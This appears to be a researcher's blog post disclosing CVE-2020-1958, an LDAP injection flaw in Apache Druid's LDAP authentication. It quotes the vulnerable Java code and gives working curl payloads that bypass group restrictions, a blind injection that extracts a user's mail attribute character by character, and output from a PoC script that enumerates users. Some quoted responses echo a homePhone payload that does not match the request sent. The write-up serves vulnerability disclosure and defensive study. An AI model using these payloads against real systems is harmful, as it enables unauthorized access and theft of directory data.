I’ve recently created a CodeQL query that detects LDAP injection vulnerabilities in Java code. I’ve done it in scope of GitHub Security Lab bug bounty program and it was accepted, added to the list of default queries and executed on all LGTM projects (and I was awarded a $3000 bounty by GitHub Security Lab).

Once the query was executed on all LGTM projects, I took a look at the results. The query flagged about a dozen of projects (excluding OWASP Benchmark, which is deliberately vulnerable). Not all of the detected issues were exploitable, but I was able to exploit and report the following:

In this post I’m going to provide some more details about the first one, CVE-2020-1958 in Apache Druid.

CVE-2020-1958: LDAP injection in Apache Druid

Apache Druid is a high performance real-time analytics database. It supports LDAP-based authentication via druid-basic-security extension and this functionality was vulnerable to LDAP injection.

If LDAP-based authentication is enabled, Apache Druid first searches for the given user in LDAP directory. It uses a pre-configured user search filter template for this. If the user exists in LDAP, its cn and provided password are used to bind (authenticate) to the LDAP server. If it succeeds, the user is authenticated. Otherwise, an error is returned. If the user doesn’t exist in LDAP, a different error is returned (this will be important later on during the exploitation).

The code (with not relevant lines removed) looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public AuthenticationResult validateCredentials(String username, char[] password) {
  SearchResult userResult;
  LdapName userDn;
  
  InitialDirContext dirContext = new InitialDirContext(bindProperties(this.ldapConfig));
  userResult = getLdapUserObject(this.ldapConfig, dirContext, username);
  if (userResult == null) {
    LOG.debug("User not found: %s", username);
    return null;
  }
  userDn = new LdapName(userResult.getNameInNamespace());

  if (!validatePassword(this.ldapConfig, userDn, password)) {
    LOG.debug("Password incorrect for LDAP user %s", username);
    throw new BasicSecurityAuthenticationException("User LDAP authentication failed username[%s].", userDn.toString());
  }
}

SearchResult getLdapUserObject(BasicAuthLDAPConfig ldapConfig, DirContext context, String username) {
  SearchControls sc = new SearchControls();
  sc.setSearchScope(SearchControls.SUBTREE_SCOPE);
  sc.setReturningAttributes(new String[] {ldapConfig.getUserAttribute(), "memberOf" });
  NamingEnumeration<SearchResult> results = context.search(
      ldapConfig.getBaseDn(),
      StringUtils.format(ldapConfig.getUserSearch(), username),
      sc);
  if (!results.hasMore()) {
    return null;
  }
  return results.next();
}

The key lines:

Line 25: This is where the actual LDAP injection occurs. The LDAP user search filter is created by putting the user supplied username into the pre-configured template (ldapConfig.getUserSearch()). If the template is (&(uid=%s)(memberof=cn=users,dc=example,dc=org)) and we provide user as the username, the search filter will be (&(uid=user)(memberof=cn=users,dc=example,dc=org)), which is fine. But if we provide user)(uid=*))(|(uid=* as the username, the search filter will be (&(uid=user)(uid=*))(|(uid=*)(memberof=cn=users,dc=example,dc=org)). These are actually two filters ((&(uid=user)(uid=*)) and (|(uid=*)(memberof=cn=users,dc=example,dc=org))), but in most (all?) cases only the first one is executed.

Lines 9 and 15: If the user doesn’t exist in LDAP (the LDAP search from line 23 hasn’t returned any result), null is returned (line 9). However, if the user exists (the LDAP search from line 23 has returned at least one result), but the password is incorrect, BasicSecurityAuthenticationException is thrown (line 15). The client can distinguish between these two cases, which will be important during the exploitation.

As we can clearly see, we can modify the original LDAP search filter logic by sending specially crafted username (e.g. in Authorization HTTP header). That’s the theory. Let’s see how we can exploit this vulnerability.

PoC 1: Unauthorized access

I’ve setup an LDAP server with two user groups for this exercise: cn=users,dc=example,dc=org and cn=admins,dc=example,dc=org. user1, user2, user3, etc. are members of the first group. admin1, admin2, admin3, etc. are members of the second group.

I’ve also setup Apache Druid on http://127.0.0.1:8888 and configured the user search filter template so that only users belonging to cn=users,dc=example,dc=org group can log in: (&(uid=%s)(memberof=cn=users,dc=example,dc=org)).

When I try to access Druid as admin1, the request is rejected:

$ curl -i -u 'admin1:admin1' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 401 Unauthorized
Date: Sun, 22 Mar 2020 15:55:51 GMT
Cache-Control: must-revalidate,no-cache,no-store
Content-Type: text/html;charset=iso-8859-1
Content-Length: 352
Server: Jetty(9.4.12.v20180830)

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 401 Unauthorized</title>
</head>
<body><h2>HTTP ERROR 401</h2>
<p>Problem accessing /druid/coordinator/v1/isLeader. Reason:
<pre>    Unauthorized</pre></p><hr><a href="http://eclipse.org/jetty">Powered by Jetty:// 9.4.12.v20180830</a><hr/>

</body>
</html>

That’s expected because Druid is configured to allow only members of users group to log in. But when I use admin1)(uid=*))(|(uid=* as the username and the valid admin1’s password, the access is granted:

$ curl -i -u 'admin1)(uid=*))(|(uid=*:admin1' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 200 OK
Date: Sun, 22 Mar 2020 15:55:36 GMT
Date: Sun, 22 Mar 2020 15:55:36 GMT
Content-Type: application/json
Vary: Accept-Encoding, User-Agent
Server: Jetty(9.4.12.v20180830)
Content-Length: 15

{"leader":true}

That’s because the user search filter was (&(uid=admin1)(uid=*))(|(uid=*)(memberof=cn=users,dc=example,dc=org)) in this case. That’s actually 2 filters: (&(uid=admin1)(uid=*)) and (|(uid=*)(memberof=cn=users,dc=example,dc=org)). Only the first one, which searches for an entry with uid=admin1 regardless of group membership, is evaluated.

PoC 2: Information disclosure

It’s possible to retrieve any attribute value of any user from the LDAP server integrated into the vulnerable Apache Druid instance. No authentication is needed. Blind LDAP injection technique can be used to do this.

The LDAP authentication has 2 steps. First, the LDAP query with provided username included in the user search filter is executed. If no entry is found, the error is sent back to the client. If an entry is found, it’s used to bind (authenticate) to the LDAP server (along with the password provided in the request). If this bind request isn’t successful, a different error is returned to the client. What is important here is that the client can distinguish between the search query returning 0 entries and failed LDAP bind request (search query returning at least one entry).

In this PoC, I’ll show how to retrieve the mail attribute value of admin1 user.

As stated above, the client can distinguish whether the search query has returned something or not. Let’s see two examples:

$ curl -i -u '*)(uid=*))(|(uid=*:doesnt_matter' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 401 User authentication failed username[*)(uid=*))(|(uid].
$ curl -i -u 'uid_which_doesnt_exist_for_sure)(uid=*))(|(uid=*:doesnt_matter' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 401 Unauthorized

In the first example, the search filter was (&(uid=*)(uid=*))(|(uid=*)(memberof=cn=users,dc=example,dc=org)). It’s actually two filters and only the first one ((&(uid=*)(uid=*))) has been used. The LDAP query with such filter always returns some entries (because of uid=*), hence we know that the response HTTP/1.1 401 User authentication failed username[{some_username}]. indicates the successful execution of the user search query.

In the second example, the relevant filter was (&(uid=uid_which_doesnt_exist_for_sure)(uid=*)). This filter never returns any entry (assuming that the user with uid uid_which_doesnt_exist_for_sure doesn’t exist), hence we know that the response HTTP/1.1 401 Unauthorized indicates that the query hasn’t returned any entry.

OK, let’s get back to the exfiltration of the mail attribute value of admin1 user. I’m going to do this character-by-character by sending requests starting from the most wide ones (mail=a*, mail=b*, etc.) and gradually making them more precise (mail=aa*, mail=ab*, mail=ac*, mail=aca*, mail=acb*, etc.). First, I’ll check if the first character of mail attribute value is a. Therefore, I’ll include mail=a* in the search filter:

$ curl -i -u 'admin1)(mail=a*))(|(uid=*:doesnt_matter' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 401 User authentication failed username[admin1)(homePhone=1*))(|(uid=*].

I got 401 User authentication failed username[...] error, which means that the search query has returned at least 1 entry. The relevant part of the search filter was (&(uid=admin1)(mail=a*)) hence we know that there’s an entry with uid=admin1 and mail=a* in the LDAP directory. In other words, we know that admin1’s email address starts with a.

Next, I’ll check if the 2nd character is a (mail=aa* in the search filter):

$ curl -i -u 'admin1)(mail=aa*))(|(uid=*:doesnt_matter' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 401 Unauthorized

It isn’t. I got the 401 Unauthorized error, which means that the search query hasn’t returned anything.

I repeated this for b (mail=ab*) and c (mail=ac*) without success. Then I tried d (mail=ad*):

$ curl -i -u 'admin1)(mail=ad*))(|(uid=*:doesnt_matter' http://127.0.0.1:8888/druid/coordinator/v1/isLeader
HTTP/1.1 401 User authentication failed username[admin1)(homePhone=12*))(|(uid=*].

It’s worked (see the error). I followed the same steps to fetch the remaining characters.

I also wrote a script that can be used to enumerate users in LDAP server integrated to Apache Druid and to fetch the value of any LDAP attribute of the specified user. Please also refer to the GitHub repo for more details about PoC setup.

Enumerating users

$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4

Retrieving LDAP attributes’ values of admin1 user

$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
admin1@example.com
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last